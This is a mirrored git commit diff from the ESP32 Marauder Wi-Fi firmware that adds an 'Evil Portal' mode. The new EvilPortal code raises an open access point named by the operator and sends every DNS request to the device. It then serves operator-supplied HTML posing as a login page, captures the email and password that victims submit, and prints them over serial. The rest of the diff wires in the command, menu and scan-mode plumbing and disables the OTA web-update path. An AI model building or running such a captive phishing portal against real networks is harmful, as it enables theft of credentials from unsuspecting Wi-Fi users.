mirror of
https://github.com/justcallmekoko/ESP32Marauder.git
synced 2025-12-22 23:26:45 -08:00
Add Evil Portal Scan mode
This commit is contained in:
8
.github/workflows/build_push.yml
vendored
8
.github/workflows/build_push.yml
vendored
@@ -113,13 +113,13 @@ jobs:
|
|||||||
with:
|
with:
|
||||||
sketch-names: MarauderOTA.ino
|
sketch-names: MarauderOTA.ino
|
||||||
arduino-board-fqbn: esp32:esp32:esp32s2
|
arduino-board-fqbn: esp32:esp32:esp32s2
|
||||||
platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.9/package_esp32_dev_index.json
|
platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.3/package_esp32_dev_index.json
|
||||||
|
|
||||||
- name: Replace SD lib
|
- name: Replace SD lib
|
||||||
run: |
|
run: |
|
||||||
rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.9/libraries/SD
|
rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
|
||||||
cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32/libraries/SD /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.9/libraries/SD
|
cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32/libraries/SD /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
|
||||||
ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.9/libraries/SD
|
ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
|
||||||
|
|
||||||
- name: Modify platform.txt
|
- name: Modify platform.txt
|
||||||
run: |
|
run: |
|
||||||
|
|||||||
@@ -250,15 +250,15 @@ void CommandLine::runCommand(String input) {
|
|||||||
|
|
||||||
// Stop Scan
|
// Stop Scan
|
||||||
if (cmd_args.get(0) == STOPSCAN_CMD) {
|
if (cmd_args.get(0) == STOPSCAN_CMD) {
|
||||||
if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
|
//if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
|
||||||
wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
|
// wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
|
||||||
//#ifdef HAS_SCREEN
|
//#ifdef HAS_SCREEN
|
||||||
// menu_function_obj.changeMenu(menu_function_obj.updateMenu.parentMenu);
|
// menu_function_obj.changeMenu(menu_function_obj.updateMenu.parentMenu);
|
||||||
//#endif
|
//#endif
|
||||||
WiFi.softAPdisconnect(true);
|
// WiFi.softAPdisconnect(true);
|
||||||
web_obj.shutdownServer();
|
// web_obj.shutdownServer();
|
||||||
return;
|
// return;
|
||||||
}
|
//}
|
||||||
|
|
||||||
wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
|
wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
|
||||||
|
|
||||||
@@ -400,9 +400,36 @@ void CommandLine::runCommand(String input) {
|
|||||||
display_obj.clearScreen();
|
display_obj.clearScreen();
|
||||||
menu_function_obj.drawStatusBar();
|
menu_function_obj.drawStatusBar();
|
||||||
#endif
|
#endif
|
||||||
wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_MAGENTA);
|
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_MAGENTA);
|
||||||
}
|
}
|
||||||
// AP Scan
|
// AP Scan
|
||||||
|
else if (cmd_args.get(0) == EVIL_PORTAL_CMD) {
|
||||||
|
int cmd_sw = this->argSearch(&cmd_args, "-c");
|
||||||
|
|
||||||
|
if (cmd_sw != -1) {
|
||||||
|
String et_command = cmd_args.get(cmd_sw + 1);
|
||||||
|
if (et_command == "start") {
|
||||||
|
Serial.println("Starting Evil Portal. Stop with " + (String)STOPSCAN_CMD);
|
||||||
|
#ifdef HAS_SCREEN
|
||||||
|
display_obj.clearScreen();
|
||||||
|
menu_function_obj.drawStatusBar();
|
||||||
|
#endif
|
||||||
|
wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_MAGENTA);
|
||||||
|
}
|
||||||
|
else if (et_command == "reset") {
|
||||||
|
|
||||||
|
}
|
||||||
|
else if (et_command == "ack") {
|
||||||
|
|
||||||
|
}
|
||||||
|
else if (et_command == "sethtml") {
|
||||||
|
|
||||||
|
}
|
||||||
|
else if (et_command == "setap") {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
else if (cmd_args.get(0) == SCANAP_CMD) {
|
else if (cmd_args.get(0) == SCANAP_CMD) {
|
||||||
int full_sw = -1;
|
int full_sw = -1;
|
||||||
#ifdef HAS_SCREEN
|
#ifdef HAS_SCREEN
|
||||||
@@ -684,20 +711,20 @@ void CommandLine::runCommand(String input) {
|
|||||||
|
|
||||||
// Update command
|
// Update command
|
||||||
if (cmd_args.get(0) == UPDATE_CMD) {
|
if (cmd_args.get(0) == UPDATE_CMD) {
|
||||||
int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
|
//int w_sw = this->argSearch(&cmd_args, "-w"); // Web update
|
||||||
int sd_sw = this->argSearch(&cmd_args, "-s"); // SD Update
|
int sd_sw = this->argSearch(&cmd_args, "-s"); // SD Update
|
||||||
|
|
||||||
// Update via OTA
|
// Update via OTA
|
||||||
if (w_sw != -1) {
|
//if (w_sw != -1) {
|
||||||
Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
|
// Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
|
||||||
wifi_scan_obj.currentScanMode = OTA_UPDATE;
|
// wifi_scan_obj.currentScanMode = OTA_UPDATE;
|
||||||
//#ifdef HAS_SCREEN
|
//#ifdef HAS_SCREEN
|
||||||
// menu_function_obj.changeMenu(menu_function_obj.updateMenu);
|
// menu_function_obj.changeMenu(menu_function_obj.updateMenu);
|
||||||
//#endif
|
//#endif
|
||||||
web_obj.setupOTAupdate();
|
// web_obj.setupOTAupdate();
|
||||||
}
|
//}
|
||||||
// Update via SD
|
// Update via SD
|
||||||
else if (sd_sw != -1) {
|
if (sd_sw != -1) {
|
||||||
#ifdef HAS_SD
|
#ifdef HAS_SD
|
||||||
#ifndef WRITE_PACKETS_SERIAL
|
#ifndef WRITE_PACKETS_SERIAL
|
||||||
if (!sd_obj.supported) {
|
if (!sd_obj.supported) {
|
||||||
|
|||||||
@@ -9,7 +9,7 @@
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
#include "WiFiScan.h"
|
#include "WiFiScan.h"
|
||||||
#include "Web.h"
|
//#include "Web.h"
|
||||||
#ifdef HAS_SD
|
#ifdef HAS_SD
|
||||||
#include "SDInterface.h"
|
#include "SDInterface.h"
|
||||||
#endif
|
#endif
|
||||||
@@ -22,7 +22,7 @@
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
extern WiFiScan wifi_scan_obj;
|
extern WiFiScan wifi_scan_obj;
|
||||||
extern Web web_obj;
|
//extern Web web_obj;
|
||||||
#ifdef HAS_SD
|
#ifdef HAS_SD
|
||||||
extern SDInterface sd_obj;
|
extern SDInterface sd_obj;
|
||||||
#endif
|
#endif
|
||||||
@@ -47,6 +47,7 @@ const char PROGMEM LS_CMD[] = "ls";
|
|||||||
const char PROGMEM LED_CMD[] = "led";
|
const char PROGMEM LED_CMD[] = "led";
|
||||||
|
|
||||||
// WiFi sniff/scan
|
// WiFi sniff/scan
|
||||||
|
const char PROGMEM EVIL_PORTAL_CMD[] = "evilportal";
|
||||||
const char PROGMEM SIGSTREN_CMD[] = "sigmon";
|
const char PROGMEM SIGSTREN_CMD[] = "sigmon";
|
||||||
const char PROGMEM SCANAP_CMD[] = "scanap";
|
const char PROGMEM SCANAP_CMD[] = "scanap";
|
||||||
const char PROGMEM SCANSTA_CMD[] = "scansta";
|
const char PROGMEM SCANSTA_CMD[] = "scansta";
|
||||||
@@ -89,6 +90,7 @@ const char PROGMEM HELP_LS_CMD[] = "ls <directory>";
|
|||||||
const char PROGMEM HELP_LED_CMD[] = "led -s <hex color>/-p <rainbow>";
|
const char PROGMEM HELP_LED_CMD[] = "led -s <hex color>/-p <rainbow>";
|
||||||
|
|
||||||
// WiFi sniff/scan
|
// WiFi sniff/scan
|
||||||
|
const char PROGMEM HELP_EVIL_PORTAL_CMD[] = "evilportal -c start/reset/ack/sethtml <HTML>/setap <AP name>";
|
||||||
const char PROGMEM HELP_SIGSTREN_CMD[] = "sigmon";
|
const char PROGMEM HELP_SIGSTREN_CMD[] = "sigmon";
|
||||||
const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
|
const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
|
||||||
const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
|
const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
|
||||||
|
|||||||
@@ -1,11 +1,20 @@
|
|||||||
#include "EvilPortal.h"
|
#include "EvilPortal.h"
|
||||||
|
|
||||||
|
AsyncWebServer server(80);
|
||||||
|
|
||||||
EvilPortal::EvilPortal() {
|
EvilPortal::EvilPortal() {
|
||||||
this->runServer = false;
|
this->runServer = false;
|
||||||
this->name_received = false;
|
this->name_received = false;
|
||||||
this->password_received = false;
|
this->password_received = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void EvilPortal::begin() {
|
||||||
|
// wait for init flipper input
|
||||||
|
//getInitInput();
|
||||||
|
|
||||||
|
startPortal();
|
||||||
|
}
|
||||||
|
|
||||||
String EvilPortal::get_user_name() {
|
String EvilPortal::get_user_name() {
|
||||||
return this->user_name;
|
return this->user_name;
|
||||||
}
|
}
|
||||||
@@ -14,8 +23,92 @@ String EvilPortal::get_password() {
|
|||||||
return this->password;
|
return this->password;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void EvilPortal::setupServer() {
|
||||||
|
server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
|
||||||
|
request->send_P(200, "text/html", this->index_html);
|
||||||
|
Serial.println("client connected");
|
||||||
|
});
|
||||||
|
|
||||||
|
server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
|
||||||
|
String inputMessage;
|
||||||
|
String inputParam;
|
||||||
|
|
||||||
|
if (request->hasParam("email")) {
|
||||||
|
inputMessage = request->getParam("email")->value();
|
||||||
|
inputParam = "email";
|
||||||
|
this->user_name = inputMessage;
|
||||||
|
this->name_received = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (request->hasParam("password")) {
|
||||||
|
inputMessage = request->getParam("password")->value();
|
||||||
|
inputParam = "password";
|
||||||
|
this->password = inputMessage;
|
||||||
|
this->password_received = true;
|
||||||
|
}
|
||||||
|
request->send(
|
||||||
|
200, "text/html",
|
||||||
|
"<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
|
||||||
|
});
|
||||||
|
Serial.println("web server up");
|
||||||
|
}
|
||||||
|
|
||||||
|
bool EvilPortal::checkForCommand(char *command) {
|
||||||
|
bool received = false;
|
||||||
|
if (Serial.available() > 0) {
|
||||||
|
String flipperMessage = Serial.readString();
|
||||||
|
const char *serialMessage = flipperMessage.c_str();
|
||||||
|
int compare = strncmp(serialMessage, command, strlen(command));
|
||||||
|
if (compare == 0) {
|
||||||
|
received = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return received;
|
||||||
|
}
|
||||||
|
|
||||||
|
void EvilPortal::getInitInput() {
|
||||||
|
// wait for html
|
||||||
|
Serial.println("Waiting for HTML");
|
||||||
|
bool has_ap = false;
|
||||||
|
bool has_html = false;
|
||||||
|
while (!has_html || !has_ap) {
|
||||||
|
if (Serial.available() > 0) {
|
||||||
|
String flipperMessage = Serial.readString();
|
||||||
|
const char *serialMessage = flipperMessage.c_str();
|
||||||
|
if (strncmp(serialMessage, SET_HTML_CMD, strlen(SET_HTML_CMD)) == 0) {
|
||||||
|
serialMessage += strlen(SET_HTML_CMD);
|
||||||
|
strncpy(this->index_html, serialMessage, strlen(serialMessage) - 1);
|
||||||
|
has_html = true;
|
||||||
|
Serial.println("html set");
|
||||||
|
} else if (strncmp(serialMessage, SET_AP_CMD, strlen(SET_AP_CMD)) ==
|
||||||
|
0) {
|
||||||
|
serialMessage += strlen(SET_AP_CMD);
|
||||||
|
strncpy(this->apName, serialMessage, strlen(serialMessage) - 1);
|
||||||
|
has_ap = true;
|
||||||
|
Serial.println("ap set");
|
||||||
|
} else if (strncmp(serialMessage, RESET_CMD, strlen(RESET_CMD)) == 0) {
|
||||||
|
this->resetFunction();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Serial.println("all set");
|
||||||
|
}
|
||||||
|
|
||||||
void EvilPortal::startAP() {
|
void EvilPortal::startAP() {
|
||||||
|
Serial.print("starting ap ");
|
||||||
|
Serial.println(this->apName);
|
||||||
|
|
||||||
|
WiFi.mode(WIFI_AP);
|
||||||
|
WiFi.softAP(this->apName);
|
||||||
|
|
||||||
|
Serial.print("ap ip address: ");
|
||||||
|
Serial.println(WiFi.softAPIP());
|
||||||
|
|
||||||
|
this->setupServer();
|
||||||
|
|
||||||
|
this->dnsServer.start(53, "*", WiFi.softAPIP());
|
||||||
|
server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
|
||||||
|
server.begin();
|
||||||
}
|
}
|
||||||
|
|
||||||
void EvilPortal::startPortal() {
|
void EvilPortal::startPortal() {
|
||||||
@@ -23,4 +116,21 @@ void EvilPortal::startPortal() {
|
|||||||
this->startAP();
|
this->startAP();
|
||||||
|
|
||||||
this->runServer = true;
|
this->runServer = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void EvilPortal::main() {
|
||||||
|
this->dnsServer.processNextRequest();
|
||||||
|
if (name_received && password_received) {
|
||||||
|
this->name_received = false;
|
||||||
|
this->password_received = false;
|
||||||
|
String logValue1 =
|
||||||
|
"u: " + this->user_name;
|
||||||
|
String logValue2 = "p: " + this->password;
|
||||||
|
Serial.println(logValue1);
|
||||||
|
Serial.println(logValue2);
|
||||||
|
}
|
||||||
|
//if(this->checkForCommand(RESET_CMD)) {
|
||||||
|
// Serial.println("reseting");
|
||||||
|
// this->resetFunction();
|
||||||
|
//}
|
||||||
}
|
}
|
||||||
@@ -7,10 +7,8 @@
|
|||||||
|
|
||||||
#include "configs.h"
|
#include "configs.h"
|
||||||
#include "settings.h"
|
#include "settings.h"
|
||||||
#include "WiFiScan.h"
|
|
||||||
|
|
||||||
extern Settings settings_obj;
|
extern Settings settings_obj;
|
||||||
extern WiFiScan wifi_scan_obj;
|
|
||||||
|
|
||||||
#define WAITING 0
|
#define WAITING 0
|
||||||
#define GOOD 1
|
#define GOOD 1
|
||||||
@@ -23,18 +21,38 @@ extern WiFiScan wifi_scan_obj;
|
|||||||
#define ACK_CMD "ack"
|
#define ACK_CMD "ack"
|
||||||
#define MAX_HTML_SIZE 20000
|
#define MAX_HTML_SIZE 20000
|
||||||
|
|
||||||
|
class CaptiveRequestHandler : public AsyncWebHandler {
|
||||||
|
public:
|
||||||
|
CaptiveRequestHandler() {}
|
||||||
|
virtual ~CaptiveRequestHandler() {}
|
||||||
|
|
||||||
|
bool canHandle(AsyncWebServerRequest *request) { return true; }
|
||||||
|
|
||||||
|
void handleRequest(AsyncWebServerRequest *request, char * index_html) {
|
||||||
|
request->send_P(200, "text/html", index_html);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
class EvilPortal {
|
class EvilPortal {
|
||||||
|
|
||||||
private:
|
private:
|
||||||
bool runServer;
|
bool runServer;
|
||||||
bool name_received;
|
bool name_received;
|
||||||
bool password_received;
|
bool password_received;
|
||||||
|
|
||||||
String user_name;
|
String user_name;
|
||||||
String password;
|
String password;
|
||||||
|
|
||||||
//DNSServer dnsServer;
|
char apName[30] = "PORTAL";
|
||||||
//AsyncWebServer server(80);
|
char index_html[MAX_HTML_SIZE] = "TEST";
|
||||||
|
|
||||||
|
DNSServer dnsServer;
|
||||||
|
|
||||||
|
void (*resetFunction)(void) = 0;
|
||||||
|
|
||||||
|
bool checkForCommand(char *command);
|
||||||
|
void getInitInput();
|
||||||
|
void setupServer();
|
||||||
void startPortal();
|
void startPortal();
|
||||||
void startAP();
|
void startAP();
|
||||||
|
|
||||||
@@ -43,6 +61,8 @@ class EvilPortal {
|
|||||||
|
|
||||||
String get_user_name();
|
String get_user_name();
|
||||||
String get_password();
|
String get_password();
|
||||||
|
void begin();
|
||||||
|
void main();
|
||||||
|
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -919,6 +919,7 @@ void MenuFunctions::main(uint32_t currentTime)
|
|||||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
|
(wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
|
||||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
|
(wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
|
||||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
|
(wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
|
||||||
|
(wifi_scan_obj.currentScanMode == WIFI_SCAN_EVIL_PORTAL) ||
|
||||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) ||
|
(wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) ||
|
||||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
|
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
|
||||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
|
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
|
||||||
@@ -969,6 +970,7 @@ void MenuFunctions::main(uint32_t currentTime)
|
|||||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
|
(wifi_scan_obj.currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
|
||||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
|
(wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION) ||
|
||||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
|
(wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) ||
|
||||||
|
(wifi_scan_obj.currentScanMode == WIFI_SCAN_EVIL_PORTAL) ||
|
||||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) ||
|
(wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) ||
|
||||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
|
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP) ||
|
||||||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
|
(wifi_scan_obj.currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
|
||||||
@@ -1966,11 +1968,11 @@ void MenuFunctions::RunSetup()
|
|||||||
wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
|
wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
|
||||||
changeMenu(whichUpdateMenu.parentMenu);
|
changeMenu(whichUpdateMenu.parentMenu);
|
||||||
});
|
});
|
||||||
addNodes(&whichUpdateMenu, text_table1[39], TFT_GREEN, NULL, WEB_UPDATE, [this]() {
|
//addNodes(&whichUpdateMenu, text_table1[39], TFT_GREEN, NULL, WEB_UPDATE, [this]() {
|
||||||
wifi_scan_obj.currentScanMode = OTA_UPDATE;
|
// wifi_scan_obj.currentScanMode = OTA_UPDATE;
|
||||||
changeMenu(&updateMenu);
|
// changeMenu(&updateMenu);
|
||||||
web_obj.setupOTAupdate();
|
// web_obj.setupOTAupdate();
|
||||||
});
|
//});
|
||||||
#ifndef WRITE_PACKETS_SERIAL
|
#ifndef WRITE_PACKETS_SERIAL
|
||||||
if (sd_obj.supported) addNodes(&whichUpdateMenu, text_table1[40], TFT_MAGENTA, NULL, SD_UPDATE, [this]() {
|
if (sd_obj.supported) addNodes(&whichUpdateMenu, text_table1[40], TFT_MAGENTA, NULL, SD_UPDATE, [this]() {
|
||||||
wifi_scan_obj.currentScanMode = OTA_UPDATE;
|
wifi_scan_obj.currentScanMode = OTA_UPDATE;
|
||||||
@@ -2005,12 +2007,12 @@ void MenuFunctions::RunSetup()
|
|||||||
|
|
||||||
// Web Update
|
// Web Update
|
||||||
updateMenu.parentMenu = &deviceMenu;
|
updateMenu.parentMenu = &deviceMenu;
|
||||||
addNodes(&updateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
|
//addNodes(&updateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
|
||||||
wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
|
// wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
|
||||||
changeMenu(updateMenu.parentMenu);
|
// changeMenu(updateMenu.parentMenu);
|
||||||
WiFi.softAPdisconnect(true);
|
// WiFi.softAPdisconnect(true);
|
||||||
web_obj.shutdownServer();
|
// web_obj.shutdownServer();
|
||||||
});
|
//});
|
||||||
//addNodes(&updateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this](){wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF; changeMenu(updateMenu.parentMenu);});
|
//addNodes(&updateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this](){wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF; changeMenu(updateMenu.parentMenu);});
|
||||||
|
|
||||||
// Failed update menu
|
// Failed update menu
|
||||||
|
|||||||
@@ -11,7 +11,7 @@
|
|||||||
#include "Display.h"
|
#include "Display.h"
|
||||||
#include "BatteryInterface.h"
|
#include "BatteryInterface.h"
|
||||||
#include "SDInterface.h"
|
#include "SDInterface.h"
|
||||||
#include "Web.h"
|
//#include "Web.h"
|
||||||
#include "esp_interface.h"
|
#include "esp_interface.h"
|
||||||
#include "a32u4_interface.h"
|
#include "a32u4_interface.h"
|
||||||
#include "settings.h"
|
#include "settings.h"
|
||||||
@@ -27,7 +27,7 @@
|
|||||||
|
|
||||||
extern Display display_obj;
|
extern Display display_obj;
|
||||||
extern WiFiScan wifi_scan_obj;
|
extern WiFiScan wifi_scan_obj;
|
||||||
extern Web web_obj;
|
//extern Web web_obj;
|
||||||
extern SDInterface sd_obj;
|
extern SDInterface sd_obj;
|
||||||
extern BatteryInterface battery_obj;
|
extern BatteryInterface battery_obj;
|
||||||
extern EspInterface esp_obj;
|
extern EspInterface esp_obj;
|
||||||
|
|||||||
@@ -300,6 +300,8 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
|
|||||||
StopScan(scan_mode);
|
StopScan(scan_mode);
|
||||||
else if (scan_mode == WIFI_SCAN_PROBE)
|
else if (scan_mode == WIFI_SCAN_PROBE)
|
||||||
RunProbeScan(scan_mode, color);
|
RunProbeScan(scan_mode, color);
|
||||||
|
else if (scan_mode == WIFI_SCAN_EVIL_PORTAL)
|
||||||
|
RunEvilPortal(scan_mode, color);
|
||||||
else if (scan_mode == WIFI_SCAN_EAPOL)
|
else if (scan_mode == WIFI_SCAN_EAPOL)
|
||||||
RunEapolScan(scan_mode, color);
|
RunEapolScan(scan_mode, color);
|
||||||
else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
|
else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
|
||||||
@@ -481,6 +483,7 @@ void WiFiScan::StopScan(uint8_t scan_mode)
|
|||||||
{
|
{
|
||||||
if ((currentScanMode == WIFI_SCAN_PROBE) ||
|
if ((currentScanMode == WIFI_SCAN_PROBE) ||
|
||||||
(currentScanMode == WIFI_SCAN_AP) ||
|
(currentScanMode == WIFI_SCAN_AP) ||
|
||||||
|
(currentScanMode == WIFI_SCAN_EVIL_PORTAL) ||
|
||||||
(currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
|
(currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
|
||||||
(currentScanMode == WIFI_SCAN_STATION) ||
|
(currentScanMode == WIFI_SCAN_STATION) ||
|
||||||
(currentScanMode == WIFI_SCAN_SIG_STREN) ||
|
(currentScanMode == WIFI_SCAN_SIG_STREN) ||
|
||||||
@@ -583,6 +586,58 @@ String WiFiScan::freeRAM()
|
|||||||
return String(s);
|
return String(s);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void WiFiScan::RunEvilPortal(uint8_t scan_mode, uint16_t color)
|
||||||
|
{
|
||||||
|
#ifdef WRITE_PACKETS_SERIAL
|
||||||
|
buffer_obj.open();
|
||||||
|
#elif defined(HAS_SD)
|
||||||
|
sd_obj.openCapture("evil_portal");
|
||||||
|
#else
|
||||||
|
return;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef MARAUDER_FLIPPER
|
||||||
|
flipper_led.sniffLED();
|
||||||
|
#elif defined(XIAO_ESP32_S3)
|
||||||
|
xiao_led.sniffLED();
|
||||||
|
#else
|
||||||
|
led_obj.setMode(MODE_SNIFF);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
Serial.println(text_table4[9] + (String)access_points->size());
|
||||||
|
#ifdef HAS_SCREEN
|
||||||
|
display_obj.TOP_FIXED_AREA_2 = 48;
|
||||||
|
display_obj.tteBar = true;
|
||||||
|
display_obj.print_delay_1 = 15;
|
||||||
|
display_obj.print_delay_2 = 10;
|
||||||
|
display_obj.initScrollValues(true);
|
||||||
|
display_obj.tft.setTextWrap(false);
|
||||||
|
display_obj.tft.setTextColor(TFT_WHITE, color);
|
||||||
|
#ifdef HAS_ILI9341
|
||||||
|
display_obj.tft.fillRect(0,16,240,16, color);
|
||||||
|
display_obj.tft.drawCentreString("Evil Portal");
|
||||||
|
display_obj.touchToExit();
|
||||||
|
#endif
|
||||||
|
display_obj.tft.setTextColor(TFT_MAGENTA, TFT_BLACK);
|
||||||
|
display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
//esp_wifi_init(&cfg);
|
||||||
|
//esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||||
|
//esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||||
|
//esp_wifi_start();
|
||||||
|
//esp_wifi_set_promiscuous(true);
|
||||||
|
//esp_wifi_set_promiscuous_filter(&filt);
|
||||||
|
//if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
|
||||||
|
//esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
|
||||||
|
//else
|
||||||
|
// esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
|
||||||
|
//esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
|
||||||
|
evil_portal_obj.begin();
|
||||||
|
this->wifi_initialized = true;
|
||||||
|
initTime = millis();
|
||||||
|
}
|
||||||
|
|
||||||
// Function to start running a beacon scan
|
// Function to start running a beacon scan
|
||||||
void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
|
void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
|
||||||
{
|
{
|
||||||
@@ -3726,6 +3781,7 @@ void WiFiScan::main(uint32_t currentTime)
|
|||||||
// WiFi operations
|
// WiFi operations
|
||||||
if ((currentScanMode == WIFI_SCAN_PROBE) ||
|
if ((currentScanMode == WIFI_SCAN_PROBE) ||
|
||||||
(currentScanMode == WIFI_SCAN_AP) ||
|
(currentScanMode == WIFI_SCAN_AP) ||
|
||||||
|
(currentScanMode == WIFI_SCAN_EVIL_PORTAL) ||
|
||||||
(currentScanMode == WIFI_SCAN_STATION) ||
|
(currentScanMode == WIFI_SCAN_STATION) ||
|
||||||
(currentScanMode == WIFI_SCAN_SIG_STREN) ||
|
(currentScanMode == WIFI_SCAN_SIG_STREN) ||
|
||||||
(currentScanMode == WIFI_SCAN_TARGET_AP) ||
|
(currentScanMode == WIFI_SCAN_TARGET_AP) ||
|
||||||
|
|||||||
@@ -15,6 +15,7 @@
|
|||||||
#endif
|
#endif
|
||||||
|
|
||||||
#include <WiFi.h>
|
#include <WiFi.h>
|
||||||
|
#include "EvilPortal.h"
|
||||||
#include <math.h>
|
#include <math.h>
|
||||||
#include "esp_wifi.h"
|
#include "esp_wifi.h"
|
||||||
#include "esp_wifi_types.h"
|
#include "esp_wifi_types.h"
|
||||||
@@ -80,11 +81,14 @@
|
|||||||
#define WIFI_ATTACK_DEAUTH_TARGETED 27
|
#define WIFI_ATTACK_DEAUTH_TARGETED 27
|
||||||
#define WIFI_SCAN_ACTIVE_LIST_EAPOL 28
|
#define WIFI_SCAN_ACTIVE_LIST_EAPOL 28
|
||||||
#define WIFI_SCAN_SIG_STREN 29
|
#define WIFI_SCAN_SIG_STREN 29
|
||||||
|
#define WIFI_SCAN_EVIL_PORTAL 30
|
||||||
|
|
||||||
#define GRAPH_REFRESH 100
|
#define GRAPH_REFRESH 100
|
||||||
|
|
||||||
#define MAX_CHANNEL 14
|
#define MAX_CHANNEL 14
|
||||||
|
|
||||||
|
extern EvilPortal evil_portal_obj;
|
||||||
|
|
||||||
#ifdef HAS_SCREEN
|
#ifdef HAS_SCREEN
|
||||||
extern Display display_obj;
|
extern Display display_obj;
|
||||||
#endif
|
#endif
|
||||||
@@ -295,6 +299,7 @@ class WiFiScan
|
|||||||
void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
|
void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
|
||||||
void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
|
void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
|
||||||
void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
|
